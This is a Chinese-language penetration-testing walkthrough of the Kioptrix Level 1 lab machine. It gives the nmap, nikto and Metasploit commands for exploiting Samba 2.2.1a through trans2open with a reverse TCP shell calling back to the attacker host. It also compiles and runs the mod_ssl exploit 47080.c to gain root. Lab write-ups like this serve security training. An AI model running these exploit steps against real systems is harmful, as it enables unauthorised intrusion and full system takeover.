1.环境配置
ifconfig
kali机:192.168.26.128(不同kali机不同ip)
靶机:桥接
特别说明:有的小伙伴在打开虚拟机后,无法获取到靶机IP地址
这里特别说明:修改“Kioptix Level 1.vmx”配置文件中ethernet0.networkName = "Nat"
2.相关知识点
samba 2.2.1a 缓冲区溢出samba RCEApache/mod_ssl 缓冲区溢出msf_search_samba_version(模块)searchsploit
3.渗透测试
信息收集
主机发现:
nmap -sP 192.168.26.0/24
可以知道靶机的ip地址为:192.168.26.132
端口扫描:
nmap -sV 192.168.26.132
发现许多端口都开启了服务,我们查查具体服务是什么,然后找到相关服务漏洞,进行利用
收集到端口的信息后,我们就去网上找相应服务的漏洞,并且进行利用
漏洞利用
samba
利用kali自带nikto: 找出漏洞名称(CVE-2001-0835)
nikto -h 192.168.26.132
尝试利用
利用组件漏洞实现攻击
这里先介绍一个神器:metasploit
metasploit是一款开源的安全漏洞检测工具,可以识别安全性问题,提供安全风险情报。里面包含了常见的漏洞利用模块和生成各种木马。
这边在kali下,输入命令 msfconsole,启动metasploit,然后再搜索samba,看看samba有没有什么安全风险
利用metasplo 模块 t扫描Samba版本
search smb_version
看不出版本,先利用smb设置payload参数
msf6 > search smb_ver type:auxiliaryMatching Modules
================# Name Disclosure Date Rank Check Description- ---- --------------- ---- ----- -----------0 auxiliary/scanner/smb/smb_version normal No SMB Version Detectionmsf6 > use 0 msf6 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.26.132
msf6 auxiliary(scanner/smb/smb_version) > run
现在可以发现Samba服务的版本为2.2.1a
searchsploit samba 2.2.1a
1)trans2open(利用metasploit),因为我们是靶机在Linux上,所以利用use 1即可
search trans2openuse 1
接下来我们需要设置payload,但是我们不知道哪些参数需要设置,运行下面命令即可
show options
发现有两个模块可以用,一个是RHOSTS,一个是RPORT。
先试rhosts:
set rhosts 192.168.26.132
再试下rport:
set rport 139
两个模块都是 meterpreter一直died,无法获取shell。
网上冲浪了一波,解决方法是msf使用模块payload:
set rhosts 192.168.26.132
set host 192.168.26.128
set payload linux/x86/shell_reverse_tcp
run
然后就是输入命令查看主机名和修改密码,拿到主机权限:
whoami
hostname
passwd
成功登录
Apache OpenSSL
除Samba服务外,还有一个Apache OpenSSL的服务。
利用组件漏洞实现攻击
从上图可以看到,这个apache服务是用的mod_ssl模块,按照之前的方法,先用msf搜索下有没有这个模块相关的漏洞,进入msfconsole模块,用msf进行搜索
并没有搜索到,这边给大家介绍另一个神器--searchsploit
searchsploit:一个用于Exploit-DB的命令行搜索工具,它还允许你随身带一份Exploit-DB的副本。
这边使用searchsploit去看看mod_ssl模块有没有相关漏洞:
靶机的mod_ssl版本为2.8.4,加上我用的linux系统,所以这边exp选择三个.c中的一个,我这里选择47080.c(跟着网上教程走········)
先看下exp的路径,然后把exp复制过来,用gcc编译下
searchsploit -p 47080.c
可以看到这个exp路径为:
/usr/share/exploitdb/exploits/unix/remote/47080.c
然后在桌面新建一个ssl文件夹,将exp复制过去,然后编译一下:
这边提示少了一个libssl-dev的库,安装下,然后再编译:
apt-get install libssl-dev
害,又出现问题了
说下之后的思路:
查看下执行helloworld需要什么参数:
可以看到这边使用方法是./helloworld + target + IP或域名 + 端口号 + -c
由于靶机版本是RedHat系列,Apache1.3.20
所以这边target选用0x6b,然后就是执行下列命令获取root权限:
./helloworld 0x6b 192.168.26.132 443 -c 40
总结:一个是利用msf自带的漏洞利用模块进行攻击,一个是用searchsploit找到exp,然后编译后执行攻击。